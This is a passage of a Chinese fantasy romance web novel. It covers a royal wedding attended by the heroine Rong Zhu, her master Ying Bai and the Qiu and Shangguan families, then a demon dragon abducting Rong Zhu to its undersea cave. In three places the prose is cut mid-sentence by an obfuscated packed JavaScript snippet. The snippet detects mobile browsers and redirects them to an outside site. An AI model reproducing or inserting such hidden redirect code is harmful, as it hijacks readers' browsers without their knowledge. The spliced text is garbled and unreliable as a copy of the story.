邱梧缓缓道:“我想他此生一大要事就是尽可能去拿回自己的灵核,他毕竟不是朝荣国的人,他也不会为求一世安逸而在朝荣国定居。他胸怀梦想,若是碌碌无为一生必对他是极大的折磨。” 这些话是邱梧讲给上官琛的说辞,不是假话但却不是停止撮合自己和应白关系的最关键的原因. 光救命之恩这一条,容珠无疑是应白心中十分重要的存在,但救命之恩是否延伸出了别的感情,邱梧还需要确定。 可以肯定的是,应白对自己并没有男女之情。 上官琛闻言眉头紧缩,鼓起腮帮子,一拳打在墙上:“应白年少成才,怎么偏偏没生在朝荣国,他们那个什么圣灵宫就是一群怪物聚集地,干脆我去把他灵核拿回来,把那圣灵宫拆了烧了,看谁厉害得过谁!” “又在意气用事,你还有三头六臂吗?”邱梧温声说着,把他的拳头放了下来。 “魔龙尚且除不掉。况且应白的事,我们可以帮忙但最好不要插手。我也会跟母亲说让她不必再费心我和应白的事了,我和他的人生路完全不同,能成为朋友已然庆幸,再想别的就生疏了。” 上官琛沉吟半晌没有说话,他不明白为什么两个极其般配的人不能在一起?为什么应白有情有义却要遭此横祸?为什么阿姐思念多年却能这么快放下? 有时候他甚至比阿姐还想让应白成为自己的姐夫,郎才女貌,珠联璧合,必是朝荣国最令人羡慕的一对佳人。 “走吧。”邱梧轻轻说着,已然淹没在了人群中。金毛感受到了她的情绪,默默跟在她的身边。 * 十月初九,朝荣国三皇子大婚,娶的是国公府家的千金。 早饭一过,国公府门前已是热闹至极,各式各样的马车蜿蜒不绝停在路边,陆陆续续下来的人将大门口围得水泄不通,老百姓们站在路对面兴高采烈地看热闹,负责迎宾的老国公满脸堆笑,朝每一位宾客拱手作揖,招呼仆从奉茶安顿。 朝荣国的习俗是新郎在巳时(上午九点)骑马至岳丈家撒钱接新娘,与新娘一起朝岳丈岳母敬茶,由新娘本家准备午膳。 午时新郎与宾客用膳庆祝,至审时(下午三点),新娘入轿随新郎至夫家,晚间方行大婚礼节,由夫家举行更为隆重的婚宴。 此次天家婚礼,排场之大,热闹之沸自不必说,容珠从马车里下来,双脚刚一落地便觉铺天盖地都是喜气张扬的。 “沈宫主有礼。”老国公笑迎紫阳宫众人,他头发虽白了大半,整个人却精神抖擞。 沈青寒笑道:“在下略备薄礼,恭祝国公大喜。” 一旁小厮将礼接着,老国公又问候了邱梧和上官琛,待看向容珠时,苍眸一亮,“这便是点亮石碑印记的容女侠吧。” 容珠一名如今朝荣国上下无人不知。闻听被人唤作女侠,容珠客气一笑,“国公爷有礼。” 老国公又注意到容珠身边还站着一个仪表堂堂的男子,想到前几日与陛下闲聊婚宴宾客时听他提起一人物,便道:“这位想必是容女侠的师父吧。” 沈宫主朗声笑道:“国公消息好灵通。” 老国公不禁赞道:“如此年轻,老夫不曾想到,真乃人中龙凤。” “哎呀,国公今日忙,我们在这儿倒耽误您接客了。”沈宫主打趣着说,老国公忙道:“哪里话,快快进府入座。”说完又似笑非笑道:“沈宫主若对座位不满意只管与家仆说。” 沈宫主只觉他话里有话,只是暂时不明,待由家仆领着到院中时,又有诸多门派掌门前来问候。 院中宽敞无比,约莫摆了二十多个圆桌,已有不少宾客在吃果喝茶,说笑谈论。 容珠看见一圆桌上摆着三个木牌,木牌各刻着紫阳宫、无尘宫和红岭宫。桌旁坐着两个中年男子,皆气宇轩昂,剑眉星目。 闻听声响,两人放下茶杯望去,顿时喜笑颜开,身穿蓝袍的男人已起身上前,十分恭敬道:“沈宫主有礼。” 另外一身穿黑袍之人也碎步上前,比蓝袍之人还往前一步,也是笑得灿烂:“寒儿来了。” 沈宫主透过他两人的缝隙瞥见那圆桌上的木牌,像是明白了什么,笑道:“我说这老国公什么意思,原来是与你们一桌啊。” 说罢径自从他俩中间泰然走过去落座,身后两个男人一左一右在沈宫主旁落座,黑袍男人招呼上官琛道:“阿琛坐这,咱们好久没见了。” 上官琛摆袍落座随口道:“上个月才见的,每次见面你都这么说。” 黑袍男人依旧笑嘻嘻道:“每次见面,阿琛都比上一次帅,跟我年轻时一样。” 沈宫主瞥了他一眼道:“贵客在此,注意言语。” 说话间,邱梧在蓝袍男人身旁坐下,容珠和应白顺应坐下。 “早闻石碑印记被人再次点亮,今承蒙皇家婚宴,在此得见女侠,无尘宫宫主邱某有礼了。” 容珠还在奇怪众人关系,还未摸索出什么门道就有人问候自己,她忙回礼,邱梧介绍道:“这位是我爹爹。” 容珠恍然大悟,怪不得看沈宫主与这两人相处不似与其他门派那般客气礼貌,想来对面那黑袍之人便是红岭宫宫主了,也是上官琛的爹爹。 紫阳宫和无尘宫、红岭宫的关系,朝荣国没有人不知道,对这里的人来讲,成婚后婚姻不睦再和离是很正常的事,没有人会置喙谁谁谁有几段婚姻,几个孩子。 邱宫主和上官宫主作为沈宫主的前夫,三人并没有因为婚姻的关系而闹不愉快或隔阂。 魔龙未现世以前,邱宫主和上官宫主有时会一起来紫阳宫看看孩子,喝茶聊天,魔龙现世后,二人便经常往紫阳宫来商讨魔龙之事。 几人简单与容珠和应白寒暄完后忽听前院人呼喊道:“来了来了!” 话音一落便听炮仗噼里啪啦响了起来,敲锣打鼓之声接踵而至,院内众人呼啦啦起身朝前院去看热闹。 “新郎官来了,咱们快去看看!”红岭宫上官宫主就要比众人抢先一步跑去,身后的无尘宫邱宫主拉住他的袖子道:“虽然今日特殊但也不能乱了礼节,该称呼为三皇子殿下才对。” 上官宫主嫌弃道:“就你注重礼节,迂腐!” 众人拥至前门,一时间欢声笑语夹杂着炮声鼓声震耳欲聋,容珠在人堆里什么也看不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这个问题让应白有些哑然,一则他未与人成过亲,没有体验过感情一事;二则他过去一直醉心修炼,来到朝荣国后开始研究回去以后如何让人人心怀仁爱,从未涉及过这类事情。 他思忖半晌,浅显道:“感情一事并非非黑即白,或许成亲后因种种事情就离心了吧。” 这番解释没能让容珠内心解惑,不过她想到应白也没成过亲,可能也不知道,于是不再多问。 偏他们身旁一个年纪略大的妇女听闻二人对话,见两个年轻人靠得这么近,以为是夫妻,便传授经验道:“婚前婚后不一样的,婚前两人都想让对方看到自己好的一面,说话做事三思而行,一见面便浓情蜜意。婚后两人性子也放开了,遇着一些事,女的要这样做,男的要那样做,朝夕相处得久了难免性情不磨合,需知有些事情不能只顾自己,吵架吵多了可不就过不成了嘛。” 这个妇女是国公府家的亲戚,不晓得眼前女子就是现今朝荣国口口相传的容女侠。 她见容珠一脸茫然地瞧过来,又啰嗦道:“我看你们小两口这么年轻,还处在甜蜜期吧,我告诉你们,夫妻相处少不了包容,世上哪有完全称合心意的伴侣,互相包容,互相理解方能长久。” 小两口三个字震惊了容珠和应白,容珠忙解释道:“我们不是——” 她话还没说完,这妇女就打断了她自顾自说着:“哪怕真的过不下去了,和离也不是什么大事,总好过两个人彼此折磨,好聚好散就是了……哎呦!” 人群突然躁动起来,因礼官唱到让新郎官敬茶,站在后头的人都往前拥看景,这妇女被后面人一挤,根本没反应过来,往前踉跄了一步撞上容珠,容珠又忙不迭地要站稳,偏应白身后也有人挤,两人撞在一块。 容珠直接贴在应白胸前,应白下意识扶她,周围人都蜂拥上前,擦着二人后背往前蠕动,挤得周围毫无空间,也让二人紧紧贴在一起动弹不得。 45. 魔龙来 容珠已然红了脸,甚至能听见心脏扑通扑通地跳,震耳欲聋…… 不过…… 她稳定心神才发现这声音其实是从应白胸膛里传来的,仿佛里头囚着一个生物在不停撞头想要出来,衣料在脸上微微摩擦,带来一丝丝几不可查的淡香,容珠的脸更红了。 不知过了多久两人方“难分难舍”地分开,应白干涩的嗓音从头顶传来:“今日人多会有些挤,要当心。” 容珠低垂着眸子“嗯”了一声。那边敬茶礼节已经完毕,新娘回房等候下午乘轿入宫,新郎稍作休息准备午宴敬酒。 众人陆陆续续回到院中就坐,上官琛不知从哪冒出来了,见着容珠和应白两人张口就是:“太挤了,我都没看见新郎官敬酒!” 此次皇家婚礼,重头戏在皇宫,因此国公府的午宴只求精致可口,易消化,等到了晚上众宾客才有胃口享用皇家婚宴。 一时间家仆们有条不紊端上菜来,吃饭敬酒好不热闹,各派掌门也互相串桌敬酒。 来敬沈宫主酒的人难免会问及容女侠,容珠免不了要喝酒寒暄,应白给她换了茶水,不然要这样喝下去非得醉了不可。 宴席过后,众人各自小憩休息,仍有闲聊喝酒的。直到将近申时,国公府又人满为患起来。 敲锣打鼓之声又起,三皇子携手红盖头下的新娘缓步出府上轿,大红喜裙拖曳铺展,在众人的欢呼热闹众更觉美丽无比。 三皇子的马车前行老远后,众宾客才纷纷坐上各自马车前去皇宫,邱宫主和上官宫主都邀请沈宫主去坐他们的马车,沈宫主道:“都一起吃半天饭了,一会儿还要见,消停些吧。” 整条街上围着百姓马车拥堵不堪,停停走走了好久才通畅起来,前后费了半个时辰才到皇宫。 皇宫不比在国公府自在,天子之家也是人人心中敬仰的地方,繁文缛节不可胜数,进宫先递赴宴帖,由侍卫查看人数后方可同行,每辆马车都跟着一个小太监,又费了半个时辰才到一宫门前停下。 宫门后是一处极大的后花园,早摆了诸多桌椅,桌上摆着四个金边红盘,每个盘底皆放一张红纸裁成的囍字,上头或是瓜子花生,或糖果甜点等,中间一壶清茶。 邱梧道:“离开宴还有好久,咱们难得来一次皇宫,不如就在周边逛一逛,方才坐的久了,如今秋菊开得灿烂,正好去欣赏一番活动活动。” 沈宫主点头道:“说的是,不过皇宫禁地还是谨慎些好。” 众人刚在花圃中游了一会,就见其他女眷来与沈宫主搭话,说起皇家婚礼,一人赞道:“当今三皇子睿智沉稳,谦恭孝顺,国公府家的小姐也是婉柔娴静,知书达理,当真是极配的。” 另一人道:“我们何德何能来目睹佳偶结亲,若今日能沾沾福气回去给我家闺女染染,好让她也找一个如意郎君,我便放心了。” 沈宫主道:“贵府小姐品性温和,貌美无双,夫人还怕找不来好女婿吗?” 这人打趣道:“我看世上公子千千万,也没有令郎骁勇英俊,朝荣国不知有多少姑娘倾心令郎,不知沈宫主将来要给上官公子找什么样的女孩儿啊?” 沈宫主看了一眼想跑的上官琛笑道:“他头脑简单,只会打打杀杀的,过两年也不迟,我倒着急我家邱梧,这么大了也没个夫君,让人操心。” 正和容珠赏花的邱梧闻听此言尴尬一笑。 这位夫人夸赞了邱梧一番又注意到沈宫主旁还站着一个仪表堂堂之人,问起是谁,沈宫主说:“你知道的,不过见了面不认识,就是容女侠的师父。” 这位夫人登时目露赞赏,说应白多么多么俊朗,多么多么厉害,一听沈宫主又说应白和邱梧是多年的朋友登时笑道:“我看沈宫主不必愁,你操心的事有可能远在天边近在眼前,你身为母亲可得多留意着些,不能耽搁了好姻缘啊。” 沈宫主呵呵直笑,时不时去看邱梧和应白,邱梧笑得尴尬,应白很有礼貌的笑着。容珠却忽然明白其中含义,顿时一股血液直通脑门,让她清醒无比。 她还从来没想过这件事。 师父和邱梧是多年朋友,他们年纪相仿,实力均等,且二人性情都是温和沉稳的,可不是多么般配的一对。 原来沈宫主已存了这样的心思,怪不得在紫阳宫吃饭时总让邱梧和师父坐在一起,那师父和邱梧是不是也相互喜欢? 突然,邱梧那夜的那句“我真的很喜欢他”在容珠脑中乍现出来,她难掩震惊之情去看邱梧,而邱梧却仍在看着菊花,不曾发现容珠的目光。 她这才明白喜欢他这三个字的真正意思。 花灯节那天邱梧给她编辫子时说的那些话原来都意有所指,邱梧喜欢应白,想和应白成亲,想和应白共度余生,想和她一起慢慢变老…… 既然邱梧有意,那师父…… 一丝怯意萌生出来,容珠不敢去看应白,心像被两根手指头揪住,仿佛转一下头就能被指头捏得生疼。 为什么?为什么会有这样的感觉? 容珠恍恍惚惚听着沈宫主和几位夫人笑谈,恍恍惚惚逛完花园,恍恍惚惚闻听太监传唤宾客入殿,直到喜庆耀眼的一应物什快要闪瞎容珠双眼时她才回过神来。 这一刻她怔怔地望着偌大殿堂,仿佛这里不是皇宫,仿佛今日的新郎和新娘不是三皇子和国公府千金,而是邱梧和师父的成亲之地。 她强迫自己稳定心神,不要再想入非非。 他们随小太监引领很快找到了各自座位,沈宫主依然和邱宫主、上官宫主一桌。两个男人喜气洋洋,争抢着给沈宫主倒茶。 容珠不禁对这种关系感到奇怪,如果沈宫主真的与邱宫主和上官宫主离心,那彼此再见面还能像朋友似的相处吗? 她总觉着这两个男人对沈宫主格外在意,沈宫主却不怎么热情,感情一事果然晦涩难懂。 皇家讲究礼节,晚间新郎官与新娘子入殿却不见人蜂拥围观,满殿寂静,只闻礼官唱声。 赵皇帝和皇后作为新人的父母和朝荣国最尊贵的两个人,在高座上笑容满面,二人各自说了祝福话后婚宴便开始了。 吃过几道菜后邱梧小声对容珠说:“我觉着这道菜还不错,咸香麻辣,你喜欢吃辣吗?” 容珠微笑着摇摇头:“不太吃得惯。”她想了想又问应白:“师父喜欢吃辣吗?” 应白不知容珠心思,只实话实说:“喜欢。” 容珠眨了下眼,默默喝茶。 这场繁盛热闹的婚礼终于要结束了,彼时月已当空,早有掌灯太监候在殿外引领众人离去。 上官琛手拿酒壶还想拉着应白再喝一瓶,被沈宫主呵斥住,说皇家禁地不可没有规矩。上官琛只得作罢,又和应白闲扯些别的话。 容珠和邱梧并肩走着,夜色昏暗,将周围的一切美景都笼罩起来,身后巍峨辉煌的殿堂渐行渐远。 她想问邱梧喜欢一个人是什么感觉,但又觉这个问题或许有些直白,便拐着弯问:“邱梧姑娘,三皇子和国公府家的千金是如何认识的?” 邱梧笑道:“好像是宫里有一次开春日宴,邀请了官员家眷,三皇子在这日与国公府千金互相萌生情意,便向陛下请旨赐婚,今日可算圆满了。” 容珠若有所思,她附和道:“能和喜欢的人成亲一定是世界上最幸福的事。” 夜风习习,邱梧的声音如细水般缓缓道:“是啊,其实我很喜欢参加婚礼,能看到两个互相喜欢的人结为夫妻,即便自己是看客也觉得分外高兴。” 说到这里她又叹了口气,“容珠,你或许不知道,我爹爹和母亲曾经也情投意合,不过终因观念不同而分开。有了这个例子我才发现原来互相喜欢的人也会有感情破碎的一日。” “那是不是可以认为两个人并不是真心喜欢呢?”容珠想起了今日在国公府时那个妇女说的话。 “如果两个人真心喜欢对方便会互相包容,因为世上是没有一个人能完全符合自己喜好。” 容珠不懂感情,自然不知那妇女说的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16791728|188622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是否正确,她问邱梧也不过是想求证一番,不过转念想邱梧也未成亲,或许她也不知。 夜色漆黑,看不清邱梧神情,她低笑道:“你懂得还不少,小小年纪便会了夫妻相处之道。” 反正四周乌漆嘛黑,容珠坦坦荡荡红了脸,顺着话头道:“我是听别人说的,你别笑我,我连喜欢一个人是什么感觉都不知。” “是吗?”邱梧的语气似乎不相信,她附在容珠耳边,正欲同她说便听邱宫主远远地叫她,她只好过去。 上官琛早瞥见她们两个嘀咕半天,寻着这个空当过去问容珠:“你们刚刚说什么悄悄话呢?” 容珠看见应白也在看她,心道这个问题断不能问他们,于是对上官琛道:“女孩子说悄悄话,男孩子问什么?” 此时他们已出了宫门,沈宫主招呼他们上马车,容珠快步走过去,将上官琛和应白落得远远的。 上官琛懵懂道:“什么话男孩子不能听,怎么还区分这个。”说罢他也往自家马车走去,应白在后头锁眉沉思。 不知是不是他的错觉,他觉得容珠身上有一丝丝变化,这个变化具体是什么应白抓不住也辨不清。 本来邱梧和容珠一起说话没什么奇怪的,但容珠方才的话又让他心觉异常,忽然想到晚上席间容珠问他喜不喜欢吃辣之前他也听到了她和邱梧的对话,那会他根本没多想便如实回答了。 难道今日沈宫主与那几位夫人的话她听明白了?此刻回味种种情景,难保不是容珠在试探,所以……她跟邱梧都聊了什么? 或者邱梧有没有跟她说了什么。 他自认自己和邱梧之间只有友情,他从未对邱梧说过任何超过朋友之情的话,也从未做过任何超过朋友之情的举动。 回忆曾经来朝荣国的那一年,的确是他当时觉得最快乐的时光,因为那时的他才体会到,拥有朋友是多么难能可贵的一件事。 应白对容珠的内心想法不得而知,回去的路上总有意无意观察容珠和邱梧的神情,但并无所获。 一整日的与人周旋,迎亲热闹,众人回去后早已疲惫不堪,容珠洗过澡后就沉沉睡去,又做了个迎亲的梦。梦见邱梧一身喜服,笑意盈盈地挽着一个男子的手。 容珠总看不清这男子的模样,因总有宾客挡在她身前,她双手扒开一个前方还有一个,好像永远扒不完,但新郎就在眼前,她心急如焚,在人群中大叫:“师父!” 没有人理她,她在人群中寻找应白的身影可怎么也找不见,忽碰见开怀大笑的上官琛,她一把拉住他问师父在哪里。 上官琛笑道:“容珠,你在说什么,你师父……” 容珠听不见了,她能看到上官琛的嘴在动,耳朵却听不见他说话。 人群中反而传来隐隐惊呼声,渐渐地,四周景象消失不见,她猛然惊醒,心扑通扑通地跳。 惊呼声还在隐隐沸腾着,容珠冷静片刻便意识到这声音是从院外传来的。 她穿上衣服起身拿剑冲出门,正好见一脸焦急地邱梧跑过来,“容珠,魔龙醒了!” 忽听一声气势如虹的吼声自上空震撼袭来,两人顿时捂住耳朵,只见一硕大奇长的黑色蛟龙在夜空中盘旋而过,朝某个方向飞去。 “是石碑所在地,它想去看那个东西!” 邱梧和容珠跑出院外,外头沈宫主和众紫阳宫弟子已整装待发,上官琛长枪一挥道:“母亲,上次我已一人之力杀死了它,此刻我先去与它会上一会,若有状况,我发信号示警。” 沈宫主上前一步,急声道:“魔龙实力非同小可,你一人难免处处受限,邱梧,你和容珠跟他一起相互照应,应白随我们去护卫百姓。” 皎洁的月光映在容珠半张脸上,夜色下,她双眼晶莹坚定,“师父,我去了。” 应白心里担心,还是点头道:“你小心。” 邱梧拔剑一掷,掌间灵力骤起,银光乍现的剑身陡然变长变大,一道劲风袭来,三人已朝那魔龙奔去的地方飞速前行。 46. 无私印 夜色下的朝荣国似乎隐隐笼罩着一层惶恐,百姓们都睡了,唯有远处的皇宫依稀亮着灯火。 不到一盏茶的时间,三人就到了石碑所在的树林上空,果然看见一条巨大无比的龙在石碑近处凝望。 它长长的龙身将石碑虚虚围住,一颗堪比一座茅屋的脑袋在清冷的月色下显得异常恐怖,黄澄澄的眼睛像花灯节那天的灯笼,又亮又圆,此刻正上下左右打量着石碑。 “泥鳅!深夜出来又想作什么妖?” 上官琛在空中高喝一声,魔龙循声望去,金黄的眼珠子散发着锐利寒光,它扭动着身子朝上官琛缓缓游去,硕大的脑袋遮住了月光。 “唔……上官琛,你的血点亮了石碑?” 魔龙嘴巴张张合合,发出的声音像沉闷的雷声,细长的胡须随风飘荡,就在容珠眼前晃呀晃。 上官琛冷笑一声,试探道:“这不是你肚子里的东西吗,怎么你这泥鳅自己不知道谁的血可以点亮石碑吗?” 魔龙眨了一下眼,微微歪了脑袋,随即缓缓道:“啊……确实,你杀了我七次,的确勇猛。所以你们目前来说,只找到了两个人是吗?那一个人在哪呢?” 魔龙看向另一边的邱梧,低沉浓厚的嗓音带了丝好奇:“是你?” 未等邱梧说话它径自摇摇头,“不对,不对……” 它陷入了思考,自言自语:“竟有人点亮了这道光芒……”忽地鼻子动了动,闻到了另外一个人的气息。 “泥鳅!”上官琛怕她伤害邱梧跟容珠,脚底一动,银枪载着他来到魔龙左眼球旁。 “你口口声声说天之力能除掉你,可点亮石碑的人究竟是你的天敌还是傀儡?” 一阵风吹过上官琛面颊,将他火红的衣袍吹得烈焰无比。魔龙鼻子正对着他,所谓的风不过是它的呼吸。 它两个眼球调皮地眨了眨,笑道:“如果你这么认为,那就把石碑毁了吧,毁了后我就永生不灭,朝荣国将永远不得安宁。” 它鼻子哼哧哼哧呼吸着,温热的气息吹得邱梧和容珠难受无比,它两只眼球左右移动着打量邱梧,森白的獠牙在嘴下露出,说起话来依旧慢吞吞。 “七道印记,七种灵魂,当你们找到了他们,朝荣国的气运就会恢复正常,我自然就消失了。” “你知道是谁。”邱梧直直盯着魔龙。 魔龙的龙须扫过容珠的脸颊,仿佛一根极其粗糙的野树枝子划过,她暗道一声痛,见它摇摇头道:“不知。世人众多,每个人都有各自品质,今日不知明日事,我可没有未卜先知的本事。” 它直起龙身在空中换了个姿势,这才瞥见邱梧身后还站着一个女子,它猛地把大脑袋凑过去,对着这具身躯嗅啊嗅,鼻尖的气息快要把容珠从剑上吹下去了。 邱梧心中一紧,伸出一只手臂将魔龙隔开,“你干什么?” 魔龙伸出前爪轻轻一拨将邱梧的胳膊推开,一道黑暗的影子笼罩过来,下一刻容珠便双脚离剑,身子轻飘飘地飞了起来。 她双手抓住禁锢自己腰身的东西,只觉十分粗糙坚硬,正是魔龙的龙爪。 “容珠!”上官琛大喊一声。 阵阵热风袭来,容珠仿佛感觉到夏日来临,她虽出身修仙门派,奈何因灵力低微不曾见过什么大妖,眼前这条巨大无比的魔龙可谓是她出生以来第一次见的大型妖怪。 它漆黑无比,浑身的鳞甲坚硬泛着光泽,就连看起来湿润的鼻子也如牛筋一般坚韧。 这种庞然大物的威严和气场已经震慑住了她,她不示弱,见那两只如灯笼般的眼球盯着自己,她也用跟它相比自己蚂蚁般小的眼睛盯着它。 魔龙动动嘴,再一次露出森白的獠牙,“竟是你。” 容珠怪道:“你认识我?” 魔龙笑而不语,眼球半眯打量着她,“你灵力低微,过去一直受人嘲笑,我看到你的灵魂中有伤痛。” 容珠心中一惊,这魔龙竟能看见人的过去? “可是……”魔龙再次陷入思考,喃喃自语:“你灵魂里的爱少得可怜,怎会无私?难道是……” 容珠不解其意,忽见魔龙另外一只爪子伸了过来,它长长的指甲将容珠提起,放在自己掌心,然后另外一只爪子像玩弄宠物似的将她推过来拨过去。 它的爪子硬如山石,容珠顿觉浑身疼痛,那魔龙不知存了什么心思,莫非要将她这样玩弄至死吗? 魔龙停下了爪子又睁着两只大眼睛一动不动盯着容珠。容珠瞅准时机,掏出长剑,管它灵力高低先朝魔龙用力挥了一剑。 淡黄色光芒在滑向魔龙脸上时如一根细羽毛轻轻擦过,却留下一丝细小的伤口,邱梧和上官琛皆目露意外。 因为跟魔龙打过好几次交道的他们深知魔龙身上除了肚皮和眼睛外,其他地方无论用什么武器,多强的力量都不可能留下伤口。 此时魔龙浑身一顿,眼球里的森寒锐利之色瞬间消失,仿佛看到了什么震慑住它的东西让它一动不动飘在天上。 月光如水,容珠觉得自己眼花了,竟看到魔龙双目在微微颤抖。 它高高举起龙爪,掌心散出一抹灵力将容珠托起,飘过头顶,仰视着她,“我主奚昤。” “谁是奚昤?”容珠低头看它。 魔龙不语,巨大的眼球盯住容珠胸膛下方,那里是灵核的位置。 一丝疑惑从心中升起,这条魔龙虽长得凶悍可怖,此时却感觉不到杀气,或许是她并不了解它的脾性,毕竟有些妖怪的确性情古怪,在吃人前会把猎物打扮一番或好吃好喝地养几天再下杀口。 上官琛见魔龙把容珠当成了猎物,恐再不出手容珠就被它吞了,吆喝道:“泥鳅!今日我在此,断不会让你伤害我的朋友!” 他双脚一动,长枪随着他的心意朝魔龙下半身飞去。 连着七次的交锋,上官琛知道要重伤魔龙必须要击中它的肚皮,若伤害得不够,魔龙发怒后变仍旧可以喷火,仍旧可以用它那坚不可摧的尾巴将周遭树木房屋一扫荡平,如此一来定会伤害周围百姓,索性就让它苏醒之日再度死去吧。 魔龙眼珠子一转,“呼”的甩动尾巴在空中飞旋,避开了上官琛和前来救容珠的邱梧,扭头喷了一口水,浇得上官琛浑身湿透。 它眨了眨圆圆的大眼,对上官琛讥笑道:“今日有贵客,我不奉陪了。” 说完,一爪握住容珠直冲云中,朝海的方向游去了。 “阿琛!” 有声音从底下传来,原来是沈宫主和应白一行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16791729|188622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人赶到。 他们先前出了紫阳宫后一路探查周遭民舍,见家家户户都已熄烛休息,深夜寂静,更是一点异常声响都无,隐隐听见几声低沉怪声传来,遥见半空中魔龙朝上官琛喷了口水,又抓着容珠跑了,众人忙不迭赶了过来。 应白心急如焚,海底和陆地是两种截然不同的局面,即便可以用避水屏障免去入海不能呼吸的问题,但在海里决斗远比在陆地上要困难得多。 见上官琛胡乱擦了把脸就准备和邱梧去魔龙洞穴,应白道:“阿琛,带上我!” 沈宫主催促弟子到无尘宫和红岭宫报信,让两宫宫主快速去魔龙洞穴支援,定要把容珠救出。 天空隐有破晓之势,容珠被魔龙攥在手心里横空飞翔,凄冷的夜风刮得她鼻尖微红,黑压压的景象尽收眼底。 她看到了紫阳宫,看到了山林湖泊,很快,她看到了一望无际的大海。若是花灯节那天如此一观定然是一辈子也忘不了的美景。 夜色下的海面轻柔无波,皎洁的月光投下道道银白色的光影,魔龙飞得很快,在宽广的海面上肆意驰骋,容珠甚至觉得那月亮也近在咫尺。 余光中,一个波光琉璃的物什渐渐在海面上显现,仿佛一道水帘从天而降,将这片大海分成了两个部分,也将两个世界相互隔开。 是海屏障。 忽觉整个身子急速下坠,耳边尽是呼啸海风,黑蓝的海面越来越近,容珠猛地闭上双眼,顿时一阵刺骨湿冷之意席卷全身。 是另一种寂静。好像来到了一个封闭的地方,眼前是蓝绿的海景,耳朵被丰盈的海水堵住,胸腔一阵沉闷,她能感觉到自己随着魔龙的游动一上一下在海里穿梭。 她屏住呼吸,没过多久就头脑发昏,肺腑难受,最后实在憋不住了,刚一张嘴,咸腥的海水争相涌入,一连串泡泡在她眼前层出不断,她又慌忙捂住口鼻。 挣扎间,昏暗的前方隐隐见一个拱门形的东西出现,一道莹蓝屏障横在眼前,与海屏障甚是相似。 穿过它的一刹那,容珠感觉到前所未有的清爽,她猛吸一口气,一个硕大无比的洞穴屹立在眼前。 这时,魔龙将她放了下来,它四爪着地,温吞的声音又从牙里吐出:“这是我家。” 容珠四下打量,这洞建的可谓庄严神圣,若说是海神的府邸也不为过。整座山洞被莹蓝色的屏障保围,只要把头伸出去便又陷在了海水中不能呼吸。 这个妖怪不知修炼了多少年竟有这等本事奇能,如此看来用普通的方法杀不死它倒可以理解了。 容珠顺着莹蓝屏障往左看去,依稀能看见另外一个屏障横在外头。她走过去将头露出,透过蓝绿色的海水看到了延伸在海底下的海屏障。 她指着那问魔龙:“那是什么?” 魔龙摇摇头:“天机不可泄露。” 这魔龙真会装神弄鬼,没想到海屏障竟然就在魔龙洞穴旁,难道跟魔龙有关?是它创造的? 不过眼下比想知道海屏障的秘密更重要的是容珠自己的安危,被它带来洞穴可不是什么好兆头。 她抹了一下脸上的海水,明知故问:“你带我到你窝里干什么?” 魔龙眨了一下眼,朝洞口的方向伸出爪子:“请你喝茶。” 47. 魔龙洞 一张黑檀桌,两把小凳,火炉上的茶炉徐徐冒着热气。 魔龙身躯太大不需要坐凳子,这张桌子好像也不是它平常所用,因为容珠看到魔龙是从某个地方把它拿出来的。 它锋利的长甲从火炉上勾起冒着热气的茶炉,朝着对它而言细小如虫的茶杯缓缓倒水。 硕大的头颅低得不能再低,两只大眼球聚焦在这只茶杯上,像在看着自己鼻子似的,它倒水的时候连胡须都静止不动,仿佛一个不注意就会将水洒出来。 倒好后它伸出一只指头,用指甲尖将茶杯推到容珠面前。 从进屋到现在,容珠提着的心都没放下过。即便她没见识过大妖怪,但从师兄师姐们的口中也多少听到过对妖魔的描述。 妖魔丑陋不堪,狡猾邪恶,它们的洞穴也尽是碎尸腐肉,腥臭无比,眼前这条魔龙的洞穴从哪里看都不甚相符。 容珠也是去过圣灵宫和皇宫的人。初到圣灵宫只觉当真是人间仙境,天下再找不出这样唯美神圣的地方。来到皇宫后又觉圣灵宫过于柔美,皇宫是磅礴大气,庄严肃穆的,让人一见就心潮澎湃,肃然起敬。 而被魔龙邀请来到它的洞穴后,容珠觉得圣灵宫的神圣和皇宫的磅礴忽然变得渺小如蝼蚁。 所有的词语在这里都不值一提,从进门的一刹那,她就仿佛与世隔绝,来到了另外一个空旷寂静的神圣殿堂。 她甚至开始怀疑这本就是海神的府邸,只不过被这条魔龙侵占了而已。 望着桌上这杯色泽无害的茶,容珠咽了口唾沫,抬眼瞧那魔龙,魔龙也在静静看着自己。 “你为什么要请我喝茶?”容珠先开口打破了凝滞在这洞中的寂静。 魔龙的胡须开始摆动起来,它缓缓移动着身躯,在这高不见顶的洞穴之中看起来很舒适,“为了表达我对奚昤的尊敬,所以我请身怀奚昤之力的你来喝茶。” 话题又回到了开始时的情景,容珠问:“谁是奚昤?” 魔龙闭上眼,两只前爪相握,似是十分虔诚,“她是我的一个主人,也是朋友。” 